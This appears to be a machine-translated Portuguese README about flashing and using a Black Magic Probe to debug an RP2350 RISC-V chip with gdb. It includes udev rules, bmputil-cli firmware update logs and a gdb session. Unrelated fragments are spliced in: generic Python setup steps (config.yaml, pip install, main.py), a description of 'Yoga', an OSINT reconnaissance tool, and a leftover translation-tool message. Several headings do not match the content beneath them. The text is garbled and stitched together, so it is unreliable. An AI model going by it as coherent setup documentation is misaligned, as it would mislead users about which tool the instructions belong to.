SUBSYSTEMS=="usb", ATTRS{idVendor}=="1d50", ATTRS{idProduct}=="6017", MODE="0666", GROUP="plugdev", TAG+="uaccess"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="1d50", ATTRS{idProduct}=="6018", MODE="0666", GROUP="plugdev", TAG+="uaccess"
LABEL="blackmagic_rules_end"
```
## ✅ Requisitos```
sudo udevadm control -R
```
Atualização:
- https://black-magic.org/upgrade.html```
cd /home/dreg/Downloads/bmputil-x86_64-unknown-linux-gnu-v1.0.0/bmputil-x86_64-unknown-linux-gnu-v1.0.0
```
Black Magic Debug para BMP (alvos RISC-V):```
./bmputil-cli probe update
Updating release metadata cache [2026-01-08T13:26:22Z INFO bmputil::metadata] Validating v1 metadata with 18 releases present
[2026-01-08T13:26:22Z INFO bmputil_cli] Upgrading probe firmware from 1.10.2 to 2.0.0
✔ Which firmware variant would you like to run on your probe? · Black Magic Debug for BMP (RISC-V targets)
✔ What action would you like to take with this firmware? · Flash to probe
Downloading requested firmware Found: Black Magic Probe 1.10.2
Serial: BEF6A9B0
Port: 1-3
Erasing flash...
Flashing...
100% |........................................................| 77.99 KiB/77.99 KiB [4.66 KiB/s 17s] [2026-01-08T13:26:49Z INFO bmputil::flasher] Flash complete!
```
Para começar, primeiro crie um arquivo `config.yaml` com as configurações do seu aplicativo. Você pode usar o `config.yaml.example` como referência. Em seguida, execute o seguinte comando para instalar as dependências:
```bash
pip install -r requirements.txt
```
Após a instalação, você pode iniciar a ferramenta executando:
```bash
python main.py
```
Para documentação mais detalhada, consulte o diretório `/docs`.```
cd /home/dreg/Downloads/bmputil-x86_64-unknown-linux-gnu-v1.0.0/bmputil-x86_64-unknown-linux-gnu-v1.0.0
```
Nenhum requisito específico além do Python 3.6+ estar instalado.```
./bmputil-cli probe info
Found: Black Magic Probe 2.0.0
Serial: BEF6A9B0
Port: 1-3
```
Yoga, uma ferramenta de reconhecimento OSINT.
Yoga é uma ferramenta de linha de comando que, dado um nome de domínio, procurará a pegada técnica do site (usando DNS, HTTPS e serviços de terceiros como Shodan), e também a pegada da organização (usando serviços de terceiros como Clearbit, Censys, FullHunt, etc.).
Basicamente, você pode pesquisar um nome de domínio e obter uma coleção de dados usando técnicas OSINT.```
./bmputil-cli probe update
Updating release metadata cache [2026-01-08T13:27:41Z INFO bmputil::metadata] Validating v1 metadata with 18 releases present
[2026-01-08T13:27:41Z INFO bmputil_cli] Latest release 2.0.0 is not newer than firmware version 2.0.0, not updating
```
[No input text provided to translate.]```
/home/dreg/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3/bin/riscv32-unknown-elf-gdb
```
ENTRADA:```
(gdb) target extended-remote /dev/ttyBmpGdb
Remote debugging using /dev/ttyBmpGdb
(gdb) monitor auto_scan
Target voltage: 3.3V
JTAG scan found no devices, trying SWD!
Available Targets:
No. Att Driver
1 RP2350 rv32imac
2 RP2350 rv32imac
(gdb) attach 1
Attaching to Remote target
warning: No executable has been specified and target does not support
determining executable automatically. Try using the "file" command.
0x100000aa in ?? ()
(gdb) x/10i $pc
=> 0x100000aa: addi a1,a1,4
0x100000ac: addi a2,a2,4
0x100000ae: bltu a2,a3,0x100000a6
0x100000b2: ret
0x100000b4: addi a3,sp,128
0x100000b6: addi s0,sp,32
0x100000b8: unimp
0x100000ba: fld fs0,0(s0)
0x100000bc: sw a3,96(a5)
0x100000be: jal 0x100000be
(gdb) c
Continuing.
```
# Mais documentação
- https://docs.riscv.org/reference/isa/
- https://github.com/riscv-software-src/riscv-isa-sim
- https://www.cs.sfu.ca/~ashriram/Courses/CS295/assets/notebooks/RISCV/RISCV_CARD.pdf
- https://github.com/Wren6991/Hazard3
- https://datasheets.raspberrypi.com/rp2350/rp2350-datasheet.pdf
- https://datasheets.raspberrypi.com/pico/getting-started-with-pico.pdf
- https://datasheets.raspberrypi.com/pico/raspberry-pi-pico-c-sdk.pdf
- https://www.raspberrypi.com/documentation/pico-sdk/index_doxygen.html
- https://github.com/raspberrypi/pico-examples